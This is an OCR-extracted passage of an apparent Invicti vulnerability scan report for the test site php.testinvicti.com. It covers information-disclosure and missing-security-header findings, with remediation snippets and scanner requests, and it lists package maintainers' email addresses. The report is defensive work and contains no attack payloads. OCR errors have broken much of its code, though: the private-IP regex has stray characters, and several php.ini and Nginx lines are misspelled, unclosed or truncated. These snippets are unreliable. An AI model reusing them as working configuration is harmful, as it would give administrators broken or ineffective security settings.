/\b172\.(1[6-9]1|2[0-9]1|3[0-1])\.\d{1,3}\.\d{1,3}\b/g,
/\b192\.168\.\d{1,3}\.\d{1,3}\b/g
1

let sanitized = content;
internalIPPatterns.forEach(pattern => {
sanitized = sanitized.replace(pattern, '[INTERNAL IP]');

1)

return sanitized;

4. Disable verbose error messages: Configure production environments to display generic error
messages instead of detailed stack traces or system information.

5. Regular security testing: Periodically scan application responses to verify that internal IP addresses
are not being leaked.

References

Internal IP Address Disclosure | Invicti

Affected items

Web Server


https://www.invicti.com/web-vulnerability-scanner/vulnerabilities/internal-ip-address-disclosure/

Details

Pages with internal IPs:

¢ http://php.testinvicti.com/nslookup.php
172.30.0.2

Request headers

POST /nslookup.php HTTP/1.1

Referer: http://php.testinvicti.com/

Content-Type: application/x-www-form-urlencoded

Content-Length: 13

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/149.0.0.0 Safari/537.36

Host: php.testinvicti.com

Connection: Keep-alive

param=8.8.8.8

Possible sensitive directories

Severity Low
Reported by module /Scripts/PerFolder/Possible_Sensitive_Directories.script
Description

This vulnerability identifies directories on the web server that are not directly linked from the website but
may contain sensitive information. These commonly include backup directories, database dumps,
administrative interfaces, temporary files, and configuration directories. Attackers often probe for these
resources during reconnaissance to gather intelligence about the target system's structure, technologies,
and potential weaknesses.

Impact

Exposure of sensitive directories can lead to information disclosure that significantly aids attackers in
planning sophisticated attacks. Depending on the directory contents, attackers may obtain database
credentials, source code, configuration files, user data, or administrative access points. This information
can be leveraged to identify additional vulnerabilities, escalate privileges, or gain unauthorized access to
the application and underlying systems.

Recommendation

Take the following steps to secure or remove sensitive directories:

1. Remove unnecessary directories: Delete backup files, temporary directories, and any resources not
required for production operation.

2. Implement access controls: Configure your web server to deny access to sensitive directories. For
Apache, add the following to your .htaccess or virtual host configuration:



<Directory /path/to/sensitive/directory>
Require all denied
</Directory>
For Nginx, add to your server block:
location /sensitive-directory/ {
deny all;
return 404;

3. Move sensitive files outside the web root: Store backups, configuration files, and administrative
tools outside the publicly accessible web directory.

4. Use robots.txt cautiously: Do not rely solely on robots.txt to hide directories, as it can actually reveal
their existence to attackers.

5. Implement authentication: If administrative or sensitive directories must be accessible, protect them
with strong authentication mechanisms and IP whitelisting where appropriate.

6. Regular audits: Periodically scan your web server for unintended file exposure and remove any
sensitive resources immediately.

References

Web Server Security and Database Server Security

Affected items

Web Server
Details

Possible sensitive directories:

¢ http://php.testinvicti.com/test

Request headers

GET /test/ HTTP/1.1

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/149.0.0.0 Safari/537.36

Host: php.testinvicti.com

Connection: Keep-alive

Possible virtual host found

Severity Low

Reported by module /Scripts/PerServer/VirtualHost Audit.script

Description


https://invicti.com/blog/tag/web-server-security/

This web server responds differently when the HTTP Host header is modified to test for common virtual
host names. Virtual hosting allows a single web server to host multiple websites or applications, each
identified by a different domain name in the Host header. When a server reveals the presence of
undocumented or unintended virtual hosts through these probes, it may expose internal applications,
development environments, or administrative interfaces that were not meant to be publicly accessible.

Impact

Exposure of hidden virtual hosts can lead to unauthorized access to sensitive resources. Attackers may
discover internal applications, staging environments, administrative panels, or APl endpoints that lack
proper authentication or contain confidential information. This information disclosure can be leveraged for
further reconnaissance, privilege escalation, or direct exploitation of less-hardened development systems.
Additionally, exposed virtual hosts may reveal internal naming conventions, network architecture, or
technology stack details that aid in targeted attacks.

Recommendation

Review your web server's virtual host configuration to identify all configured virtual hosts and determine
which should be publicly accessible. Remove or restrict access to any virtual hosts that are intended for
internal use only.

For Apache, review the virtual host configuration files (typically in /etc/apache2/sites-enabled/ or
httpd.conf) and ensure internal virtual hosts are bound to internal IP addresses or protected by IP-based
access controls:

<VirtualHost 10.0.0.1:80>
ServerName internal.example.com
<Directory /var/www/internal>
Require ip 10.0.0.0/8
</Directory>
</VirtualHost>

For Nginx, review the server block configurations (typically in /etc/nginx/sites-enabled/) and restrict
access using the allow and deny directives:
server {

listen 80;

server _name internal.example.com;

location / {
allow 10.0.0.0/8;
deny all;

Additionally, configure a default virtual host that returns a generic response for unrecognized Host headers
to prevent information leakage through server responses. Regularly audit your virtual host configurations
to ensure they align with your security policies.

References
Virtual hosting

Affected items
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https://en.wikipedia.org/wiki/Virtual_hosting

Details

Virtual host: localhost

Response:

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>

<title>403 Forbidden</title>

</head><body>

<h1l>Forbidden</h1>

<p>You don't have permission to access /

on this server.</p>

<hr>

<address>Apache/2.2.8 (Win32) PHP/5.2.6 Server at localhost Port 80</address>
</body></html>

Request headers

GET / HTTP/1.1

Host: bhL50D1h

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/149.0.0.0 Safari/537.36

Connection: Keep-alive

Programming Error Messages

Severity Low
Reported by module /httpdata/text_search.js
Description

This alert requires manual confirmation

The application exposes detailed error or warning messages that reveal internal implementation details.
These messages may include stack traces, file paths, database query errors, or framework-specific
debugging information that should not be visible to end users. Such verbose error handling is commonly
caused by development or debug modes being enabled in production environments.

Impact

Exposed error messages can leak sensitive technical information including:

¢ Internal file system paths and directory structures

¢ Database schema details, table names, and query syntax
¢ Framework versions and technology stack information

e Application logic and code structure

Attackers can leverage this information to map the application architecture, identify specific vulnerabilities
in outdated components, and craft more targeted attacks. This information disclosure significantly reduces
the effort required for reconnaissance during an attack.



Recommendation

Configure the application to suppress detailed error messages in production environments and log errors
securely instead:

For PHP applications:
Set the following directives in php.ini or .htaccess:

display errors = Off
log errors = 0On
error_log = /var/log/php_errors.log

For ASP.NET applications:
Configure customErrors in web.config:
<customErrors mode="RemoteOnly" defaultRedirect="~/Error.html">
<error statusCode="404" redirect="~/NotFound.html" />
<error statusCode="500" redirect="~/ServerError.html" />
</customErrors>

For Java applications:

Configure error pages in web.xml:

<error-page>
<exception-type>java.lang.Exception</exception-type>
<location>/error.jsp</location>

</error-page>

General best practices:

¢ Display generic error messages to users (e.g., "An error occurred. Please try again later.")

e Log detailed error information to secure server-side log files with appropriate access controls
e Implement centralized error handling and logging mechanisms

e Regularly review error logs for security issues and anomalies

e Ensure debug mode is disabled in production environments

References

PHP Runtime Configuration
Improper Error Handling

Affected items

Web Server
Details

Application error messages:

¢ http://php.testinvicti.com/hello.php
<b>Parse error</b>: syntax error, unexpected T_STRING in
<b>C:\AppServ\www\hello.php(42) : eval()'d code</b> on line <b>1</b><br />

¢ http://php.testinvicti.com/hello.php
<b>Parse error</b>: syntax error, unexpected T_STRING in
<b>C:\AppServ\www\hello.php(42) : eval()'d code</b> on line <b>1</b><br />


https://www.php.net/manual/en/errorfunc.configuration.php#ini.display-errors
https://www.owasp.org/index.php/Improper_Error_Handling

Request headers

GET /hello.php?name=Visitor HTTP/1.1

Referer: http://php.testinvicti.com/

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%*/*;q=0.8
Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/149.0.0.0 Safari/537.36

Host: php.testinvicti.com

Connection: Keep-alive

TRACE Method enabled

Severity Low
Reported by module /Scripts/PerServer/Track Trace_Server Methods.script
Description

The HTTP TRACE method is enabled on the web server. This method instructs the server to echo back the
exact request received, including all headers. While TRACE has legitimate debugging purposes, it can be
exploited in cross-site tracing (XST) attacks to bypass HTTPOnly cookie protections and access sensitive
header information such as authentication tokens when combined with client-side vulnerabilities.

Impact

When combined with cross-site scripting (XSS) or other client-side vulnerabilities, attackers can leverage
the TRACE method to access HTTPOnly cookies, session tokens, and authorization headers that would
normally be protected from JavaScript access. This can lead to session hijacking, credential theft, and
unauthorized access to user accounts. The risk is elevated in environments where sensitive authentication
data is transmitted in HTTP headers.

Recommendation

Disable the HTTP TRACE method on your web server. Implementation varies by server type:

Apache: Add the following to your httpd.conf or .htaccess file:

TraceEnable Off

Nginx: Add to your server configuration block:
if ($request method = TRACE) {
return 405;

11S: Use the URL Rewrite module or add a custom handler in web.config:
<system.webServer>
<security>
<requestFiltering>
<verbs>
<add verb="TRACE" allowed="false" />
</verbs>
</requestFiltering>



</security>
</system.webServer>

After making changes, restart the web server and verify the TRACE method is disabled by testing with:
curl -X TRACE https://your-server.com
The server should return a 405 Method Not Allowed or similar error response.

References

W3C - RFC 2616
US-CERT VU#867593
Cross-site tracing (XST)

Affected items

Web Server

Details

Request headers

TRACE /9hXLBR4MOz HTTP/1.1

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/149.0.0.0 Safari/537.36

Host: php.testinvicti.com

Connection: Keep-alive

Version Disclosure (PHP)

Severity Low
Reported by module /Scripts/PerServer/Version_Check.script
Description

The web server is configured to send the X-Powered-By HTTP response header, which discloses the specific
version of PHP running on the server. This header is automatically added by PHP's default configuration and
provides unnecessary technical information about the server environment to any client making HTTP
requests.

Impact

Exposing the PHP version allows attackers to quickly identify the server's technology stack and target
known vulnerabilities specific to that version. Attackers can use this information to search vulnerability
databases for published exploits, significantly reducing the reconnaissance effort required for a successful
attack. While this disclosure alone does not constitute a direct vulnerability, it substantially lowers the
barrier for exploitation of any unpatched security flaws in the identified PHP version.

Recommendation

Disable PHP version disclosure by modifying the PHP configuration. The recommended approach depends
on your server setup:


http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html
https://www.kb.cert.org/vuls/id/867593/
https://www.cgisecurity.com/lib/WH-WhitePaper_XST_ebook.pdf

Method 1: Modify php.ini (Preferred)
Locate your php.ini file and set the expose_php directive to Off:

expose php = Off
After making this change, restart your web server to apply the configuration.

Method 2: Remove Header Programmatically
If you cannot modify php.ini, remove the header in your application code or in a common bootstrap file:
header remove('X-Powered-By');

Method 3: Web Server Configuration

Configure your web server (Apache, Nginx, etc.) to strip or override the X-Powered-By header. For Apache
with mod_headers enabled:

Header unset X-Powered-By

For Nginx:

fastcgi hide header X-Powered-By;

After implementing any of these methods, verify the header is no longer present by inspecting HTTP
responses using browser developer tools or command-line tools like curl.

References

PHP Documentation: header_remove()
PHP Documentation: php.ini directive expose_php

Affected items

Web Server
Details

Version detected: PHP/5.2.6.

O Content Security Policy (CSP) Not Implemented

Severity Informational
Reported by module /httpdata/CSP_not_implemented.js
Description

Content Security Policy (CSP) is a browser security mechanism that helps prevent cross-site scripting (XSS),
clickjacking, and code injection attacks by allowing web applications to specify which sources of content
are trusted. The application does not implement CSP, as indicated by the absence of the Content-
Security-Policy HTTP response header. Without CSP, browsers have no additional restrictions on loading
resources, making the application more vulnerable to content injection attacks. While this is an
informational finding, implementing CSP is considered a security best practice that provides defense-in-
depth protection.

Impact

The absence of Content Security Policy leaves the application without an important defense layer against
multiple attack vectors. Without CSP, attackers who successfully inject malicious content can execute
arbitrary scripts, load resources from malicious domains, embed the application in malicious iframes for
clickjacking attacks, and exfiltrate data to unauthorized destinations. While CSP alone does not prevent
vulnerabilities, it significantly reduces the impact of successful XSS and injection attacks by restricting
what injected code can do. The lack of CSP means the application relies solely on input validation and


https://www.php.net/manual/en/function.header-remove.php
https://www.php.net/manual/en/ini.core.php#ini.expose-php

output encoding for protection, with no browser-level enforcement to mitigate bypasses or implementation
errors.

Recommendation

Implement Content Security Policy by adding the Content-Security-Policy HTTP response header to all
application responses. Follow these steps:

1. Analyze your application's resource requirements - Identify all sources from which your application
loads scripts, stylesheets, images, fonts, and other resources.

2. Define a restrictive policy - Start with a strict policy and gradually adjust as needed. A basic policy
example:

Content-Security-Policy: default-src 'self'; script-src 'self' https://code.jquery.com; style-src 'self

3. Test using report-only mode - Initially deploy using Content-Security-Policy-Report-Only to
monitor violations without blocking content:
Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-violation-report

4. Avoid unsafe directives - Minimize use of 'unsafe-inline' and 'unsafe-eval' as they reduce CSP
effectiveness against XSS attacks.

5. Implement server-side - Configure your web server or application framework to add the header.

Example for Apache:
Header set Content-Security-Policy "default-src 'self'; script-src 'self' https://trusted-cdn.com"

Example for Nginx:
add_header Content-Security-Policy "default-src 'self'; script-src 'self' https://trusted-cdn.com" alwa

6. Monitor and refine - Review CSP violation reports and adjust the policy to balance security and
functionality.

References

Content Security Policy (CSP)
Implementing_Content Security Policy

Affected items
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Details

Paths without CSP header:

¢ http://php.testinvicti.com/icons/

Request headers

GET /icons/ HTTP/1.1

Referer: http://php.testinvicti.com/

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/149.0.0.0 Safari/537.36


https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP
https://hacks.mozilla.org/2016/02/implementing-content-security-policy/

Host: php.testinvicti.com
Connection: Keep-alive

O Cross-Origin-Embedder-Policy (COEP) Not Implemented

Severity Informational
Reported by module /httpdata/coep_audit.js
Description

The Cross-Origin-Embedder-Policy (COEP) is a security-focused HTTP response header that prevents a
document from loading any cross-origin sub-resources (such as images, scripts, or videos) that do not
explicitly grant permission. While its partner header, COOP (Cross-Origin-Opener-Policy), isolates the
document from other windows and popups, COEP ensures that everything embedded within the page is
vetted and trusted.

Impact

The absence of a Cross-Origin-Embedder-Policy (COEP) header prevents an application from achieving
Cross-Origin Isolation, leaving its memory vulnerable to advanced "Side-Channel" attacks like Spectre.
Without this header, the browser may share an operating system process with malicious sites, allowing
them to "sniff" sensitive data—such as authentication tokens—directly from the browser's hardware
execution. Additionally, the lack of COEP creates an opening for Cross-Site Leaks (XS-Leaks) and forces the
browser to disable high-performance APIs like SharedArrayBuffer. Ultimately, failing to implement COEP
leaves sensitive data exposed to timing vulnerabilities while simultaneously stifling the application’s
computational speed.

Recommendation

To rectify the absence of the header, the primary recommendation is to implement Cross-Origin-Embedder-
Policy with the value require-corp. This ensures the highest level of protection by requiring all sub-
resources to explicitly opt-in to being embedded, which in turn enables the "Cross-Origin Isolated" state
necessary for high-performance browser features. For applications that rely on third-party integrations but
still require enhanced security, the credentialless value can be used as a more flexible alternative to
prevent the leaking of sensitive cookies. Regardless of the chosen value, the implementation should be
paired with the Cross-Origin-Opener-Policy (COOP) to fully isolate the browsing context. It is highly
recommended to first deploy these headers using the -Report-Only suffix; this allows developers to monitor
potential breakages in a real-world environment without disrupting the user experience. Finally, when
auditing the fix, ensure exact syntax and spelling, as the browser will silently ignore the policy if it
encounters any typographical errors.

References
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https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Cross-Origin-Embedder-Policy

URLs where COEP is not enabled:

¢ http://php.testinvicti.com/icons/

Request headers

GET /icons/ HTTP/1.1

Referer: http://php.testinvicti.com/

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/149.0.0.0 Safari/537.36

Host: php.testinvicti.com

Connection: Keep-alive

O Cross-Origin Opener Policy (COOP) Not Implemented

Severity Informational
Reported by module /httpdata/coop_audit.js
Description

The Cross-Origin-Opener-Policy (COOP) is a security-focused HTTP response header that allows a document
to isolate itself from other windows in the browser. By default, even cross-origin websites can often share
the same operating system process or maintain a JavaScript "bridge" if one window opened the other (via
window.open) or if they belong to the same "browsing context group." When COOP is enabled with a strict
value, the browser breaks the connection between the current window and any other windows (the opener
or any opened popups). This forces the document into a dedicated, isolated process, effectively placing it
in a "security sandbox" where other windows cannot access its memory or state

Impact

The absence of a properly configured Cross-Origin-Opener-Policy (COOP) header can lead to potential
security risks, including cross-origin attacks and data leakage between different browsing contexts. Without
COOP, a document may share the same operating system process with other windows, allowing malicious
sites to exploit this shared context to access sensitive information or manipulate the document's state. This
can lead to vulnerabilities such as cross-origin data theft, where an attacker can access the memory of a
document from another origin, or cross-origin communication attacks, where an attacker can send
messages to or receive messages from a document without proper isolation. Additionally, the lack of COOP
can hinder the performance benefits of high-performance JavaScript APIs that require a secure context, as
the browser may not be able to optimize resource usage effectively.

Recommendation

For most modern web applications, the primary recommendation is to implement Cross-Origin-Opener-
Policy same-origin to ensure the highest level of protection and to prepare the environment for high-
performance JavaScript APIs. In scenarios where the application must support third-party authentication
popups like Google or Facebook, the policy should be adjusted to same-origin-allow-popups, which
maintains a shield against external sites while allowing the application to communicate with popups it has
explicitly opened. Security auditors should treat the default value of unsafe-none as a misconfiguration and
a high-priority risk, particularly for pages handling authenticated sessions. To ensure a smooth transition



without disrupting legitimate user flows, developers should first deploy the Cross-Origin-Opener-Policy-
Report-Only header to monitor for potential breakages before enforcing a restrictive policy.

References
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URLs where COOP is not enabled:

e http://php.testinvicti.com/icons/

Request headers

GET /icons/ HTTP/1.1

Referer: http://php.testinvicti.com/

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q0=0.8
Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/149.0.0.0 Safari/537.36

Host: php.testinvicti.com

Connection: Keep-alive

O Error page web server version disclosure

Severity Informational
Reported by module /Scripts/PerServer/Error_Page Path_Disclosure.script
Description

Web servers may inadvertently disclose their version numbers and enabled modules through error pages
and HTTP response headers. This information leakage occurs when servers are not properly configured to
suppress technical details in error messages.

Invicti identified that the target web server is exposing its version number and a list of installed modules.
This information can be found in error responses or server headers. Review the 'Attack details' section to
see the specific pages and responses where this disclosure was detected.

Impact

Disclosing web server version information and enabled modules provides attackers with valuable
reconnaissance data that can be used to identify known vulnerabilities specific to that version. Attackers
can use this information to:

- Quickly identify applicable exploits from public vulnerability databases

- Determine which attack vectors are most likely to succeed based on the server configuration
- Reduce the time and effort required to compromise the system

- Target specific modules or components known to have security weaknesses


https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Cross-Origin-Opener-Policy

While this vulnerability does not directly compromise the system, it significantly lowers the barrier for
successful attacks by eliminating the need for attackers to fingerprint the server through other means.

Recommendation

Configure your web server to suppress version information and module details in error pages and HTTP
response headers. Implementation steps vary by server type:

Apache HTTP Server:
Edit your Apache configuration file (httpd.conf or apache2.conf) and add or modify the following directives:

ServerTokens Prod

ServerSignature Off

This configuration limits the Server header to "Apache" only and removes version information from error
pages.

Nginx:
Add the following directive to your nginx.conf file within the http, server, or location block:
server tokens off;

This prevents Nginx from displaying its version number in error pages and the Server header.

Microsoft IIS:
Remove the Server header by installing the URL Rewrite module and adding an outbound rule, or by
modifying the web.config file:
<system.webServer>
<security>
<requestFiltering removeServerHeader="true" />
</security>
<httpProtocol>
<customHeaders>
<remove name="X-Powered-By" />
</customHeaders>
</httpProtocol>
</system.webServer>

After making these changes, restart your web server and verify that version information is no longer
disclosed by testing error pages and examining HTTP response headers.
References

Custom Error Responses (Apache HTTP Server)
server_tokens (Nginx)
Remove Unwanted HTTP Response Headers (Microsoft IIS)
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Request headers

GET /I6VknsJeGl HTTP/1.1

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like


https://httpd.apache.org/docs/current/custom-error.html
http://nginx.org/en/docs/http/ngx_http_core_module.html#server_tokens
https://blogs.msdn.microsoft.com/varunm/2013/04/23/remove-unwanted-http-response-headers/

Gecko) Chrome/149.0.0.0 Safari/537.36
Host: php.testinvicti.com
Connection: Keep-alive

O Generic Email Address Disclosure

Severity Informational
Reported by module /httpdata/text_search.js
Description

This finding indicates that one or more email addresses have been discovered in publicly accessible
content on the website. Email addresses exposed in web pages, HTML source code, or JavaScript files can
be automatically harvested by automated bots (spambots) that crawl websites specifically to collect email
addresses. These harvested addresses are then typically added to spam distribution lists or sold to
malicious actors.

Impact

Publicly exposed email addresses are susceptible to automated harvesting by spambots, leading to
increased spam and phishing attempts. This can result in reduced productivity due to spam filtering
overhead, increased risk of successful phishing attacks against users, potential exposure to malware
distributed via spam emails, and possible inclusion of organizational email addresses in spam databases. In
some cases, harvested addresses may also be used for targeted social engineering attacks.

Recommendation

Implement email address obfuscation techniques to prevent automated harvesting while maintaining
usability for legitimate users. Consider the following approaches:

1. Use contact forms instead of displaying email addresses: Replace visible email addresses with
web forms that submit messages server-side without exposing the actual email address.

2. Implement JavaScript-based obfuscation: Encode email addresses and decode them client-side
using JavaScript.

// Example: JavaScript email obfuscation

const user = 'contact';

const domain = 'example.com';

const email = user + '@' + domain;
document.getElementById('email-1link').href = 'mailto:' + email;
document.getElementById('email-1link').textContent = email;

3. Use HTML entity encoding: Replace characters in email addresses with HTML entities (e.g., @
becomes @).

4. Display email addresses as images: Render email addresses as images with appropriate alt text for
accessibility.

5. Implement CAPTCHA protection: For contact pages, use CAPTCHA verification before revealing email
addresses.



Note that no obfuscation method is completely foolproof, so using contact forms is the most secure
approach when possible.

References

Anti-spam techniques

Affected items

Web Server
Details

Emails found:

¢ http://php.testinvicti.com/vendor/installed.json
ocramius@gmail.com

¢ http://php.testinvicti.com/vendor/installed.json
opensource@ijaap.nl

¢ http://php.testinvicti.com/vendor/installed.json
me@mikevanriel.com

¢ http://php.testinvicti.com/vendor/installed.json
account@ijaap.nl

¢ http://php.testinvicti.com/vendor/installed.json
phpmailer@synchromedia.co.uk

¢ http://php.testinvicti.com/vendor/installed.json
jimjag@gmail.com

e http://php.testinvicti.com/vendor/installed.json
codeworxtech@users.sourceforge.net

¢ http://php.testinvicti.com/vendor/installed.json
ever.zet@gmail.com

¢ http://php.testinvicti.com/vendor/installed.json
marcello.duarte@gmail.com

¢ http://php.testinvicti.com/vendor/installed.json
sb@sebastian-bergmann.de

¢ http://php.testinvicti.com/vendor/installed.json
sebastian@phpunit.de

e http://php.testinvicti.com/vendor/installed.json
whatthejeff@gmail.com

e http://php.testinvicti.com/vendor/installed.json
github@wallbash.com

o http://php.testinvicti.com/vendor/installed.json
bschussek@2bepublished.at

¢ http://php.testinvicti.com/vendor/installed.json
mail@kore-nordmann.de

¢ http://php.testinvicti.com/vendor/installed.json
monte@ohrt.com

¢ http://php.testinvicti.com/vendor/installed.json
uwe.tews@googlemail.com

¢ http://php.testinvicti.com/vendor/installed.json
rodney.rehm@medialize.de

¢ http://php.testinvicti.com/vendor/installed.json
backendtea@gmail.com

¢ http://php.testinvicti.com/vendor/installed.json
fabien@symfony.com


https://en.wikipedia.org/wiki/Anti-spam_techniques

¢ http://php.testinvicti.com/vendor/installed.json
colin@verot.net

¢ http://php.testinvicti.com/vendor/installed.json
bschussek@gmail.com

Request headers

GET /vendor/installed.json HTTP/1.1

Referer: http://php.testinvicti.com/

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/149.0.0.0 Safari/537.36

Host: php.testinvicti.com

Connection: Keep-alive

O Permissions-Policy header not implemented

Severity Informational
Reported by module /httpdata/permissions_policy.js
Description

The Permissions-Policy HTTP response header is not configured on the application. This header enables web
applications to control which browser features and APIs can be used in the current document and
embedded iframes, providing defense-in-depth against malicious third-party content and reducing the
attack surface by disabling unnecessary functionality.

Impact

Without a Permissions-Policy header, the application cannot restrict access to potentially sensitive browser
features such as camera, microphone, geolocation, payment APIs, and other capabilities. This increases the
risk of exploitation if the application is vulnerable to cross-site scripting (XSS) or includes untrusted third-
party content, as attackers could leverage these features without restriction. While this is an informational
finding with no direct exploitability, it represents a missed opportunity to implement defense-in-depth
security controls.

Recommendation

Implement the Permissions-Policy header to explicitly control which browser features your application
requires. Configure the header in your web server or application framework to allow only necessary
features and deny all others by default.

Example configuration for common web servers:

Apache (.htaccess or httpd.conf):

Header always set Permissions-Policy "geolocation=(), microphone=(), camera=(), payment=(), usb=(), mag

Nginx:
add_header Permissions-Policy "geolocation=(), microphone=(), camera=(), payment=(), usb=(), magnetomet



Application-level (Node.js/Express):

app.use((req, res, next) => {
res.setHeader('Permissions-Policy', 'geolocation=(), microphone=(), camera=(), payment=(), usb=(), ma
next();

1) 8

Customize the policy based on your application's actual requirements. Use self to allow features for your
own origin, or specify trusted origins in parentheses. Review the W3C Permissions Policy specification for a
complete list of available directives and syntax.

References

Permissions-Policy / Feature-Policy (MDN)
Permissions Policy (W3C)

Affected items

Web Server
Details

Locations without Permissions-Policy header:

¢ http://php.testinvicti.com/icons/

Request headers

GET /icons/ HTTP/1.1

Referer: http://php.testinvicti.com/

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/149.0.0.0 Safari/537.36

Host: php.testinvicti.com

Connection: Keep-alive

O [Possible] Internal Path Disclosure (Windows)

Severity Informational
Reported by module /httpdata/text_search.js
Description

This vulnerability occurs when a web application exposes the full internal file system paths of the Windows
server in its responses. These paths may appear in error messages, debug output, or other application
responses. Disclosing internal directory structures provides attackers with valuable reconnaissance
information about the server's configuration and file organization.

This alert may be a false positive and requires manual verification to confirm whether the disclosed paths
represent actual server directories.

Impact


https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Feature-Policy
https://www.w3.org/TR/permissions-policy-1/

Exposure of internal file system paths allows attackers to map the server's directory structure, which can
facilitate more targeted attacks. This information may reveal:

¢ Application installation directories and framework versions

e Username patterns from user profile paths

e Presence of specific software or development tools

¢ Potential locations of sensitive files such as configuration files, logs, or backup data

While path disclosure alone does not directly compromise the system, it significantly reduces the effort
required for attackers to identify and exploit other vulnerabilities.

Recommendation

Implement the following measures to prevent internal path disclosure:

1. Configure Custom Error Pages:
Replace detailed error messages with generic error pages that do not expose system information.

// ASP.NET web.config example
<system.web>
<customErrors mode="0On" defaultRedirect="~/Error.html">
<error statusCode="404" redirect="~/NotFound.html"/>
<error statusCode="500" redirect="~/ServerError.html"/>
</customErrors>
</system.web>

2. Disable Debug Mode in Production:

Ensure debug and verbose error reporting are disabled in production environments.
// ASP.NET web.config

<compilation debug="false"/>

3. Implement Centralized Error Handling:
Log detailed error information server-side while displaying sanitized messages to users.
// C# example
try {
// Application code
} catch (Exception ex) {
Logger.LogError(ex); // Log full details server-side
return "An error occurred. Please contact support."; // Generic user message

4. Review and Sanitize Output:
Audit application responses, including comments, headers, and debug output, to ensure no file paths are
exposed.

References

Full Path Disclosure

Affected items

Web Server
Details

Pages with paths being disclosed:


https://www.owasp.org/index.php/Full_Path_Disclosure

e http://php.testinvicti.com/hello.php
C:\AppServ\www\hello.php

Request headers

GET /hello.php?name=Visitor HTTP/1.1

Referer: http://php.testinvicti.com/

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;0=0.8
Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/149.0.0.0 Safari/537.36

Host: php.testinvicti.com

Connection: Keep-alive

O X-Content-Type-Options (XCTO) Not Implemented

Severity Informational
Reported by module /httpdata/XCTO_not_implemented.js
Description

The X-Content-Type-Options header is a security control that prevents browsers from performing MIME type
sniffing, a behavior where browsers attempt to detect the actual content type of a response by examining
its content rather than trusting the Content-Type header sent by the server. When this header is missing,
browsers may incorrectly interpret response data, potentially rendering malicious content in an unsafe
context. For example, a file uploaded as an image could be interpreted and executed as JavaScript if the
browser detects script-like content. This header also enables Cross-Origin Read Blocking (CORB), which
provides additional protection against cross-origin information leakage.

Impact

Without the X-Content-Type-Options header, applications are vulnerable to MIME confusion attacks where
malicious content can be disquised as benign file types. This can lead to Cross-Site Scripting (XSS) attacks
when user-uploaded files or external resources are served without proper content type enforcement.
Additionally, the absence of this header disables Cross-Origin Read Blocking (CORB) protections, leaving
the application susceptible to Cross-Site Script Inclusion (XSSI) attacks and timing-based side-channel
attacks that can leak sensitive data across origins. While this is not directly exploitable in all scenarios, it
removes an important defense-in-depth security layer.

Recommendation

Configure your web server or application to send the X-Content-Type-Options header with the value
"nosniff" for all HTTP responses. This instructs browsers to strictly follow the Content-Type header provided
by the server and prevents MIME type sniffing.

Implementation Examples:

Apache (.htaccess or httpd.conf):

Header always set X-Content-Type-Options "nosniff"

Nginx (nginx.conf):



add header X-Content-Type-Options "nosniff" always;

1S (web.config):
<system.webServer>
<httpProtocol>
<customHeaders>
<add name="X-Content-Type-Options" value="nosniff" />
</customHeaders>
</httpProtocol>
</system.webServer>

Express.js (Node.js):

app.use((req, res, next) => {
res.setHeader('X-Content-Type-Options', 'nosniff');
next();

H;

ASP.NET (Global.asax.cs):
protected void Application BeginRequest(object sender, EventArgs e)

{
Response.Headers.Add("X-Content-Type-Options", "nosniff");

After implementation, verify the header is present in HTTP responses using browser developer tools or
security scanning tools.

References

X-Content-Type-Options header
Cross-Origin Read Blocking (CORB).

Affected items

Web Server
Details

Paths without X-Content-Type-Options header:

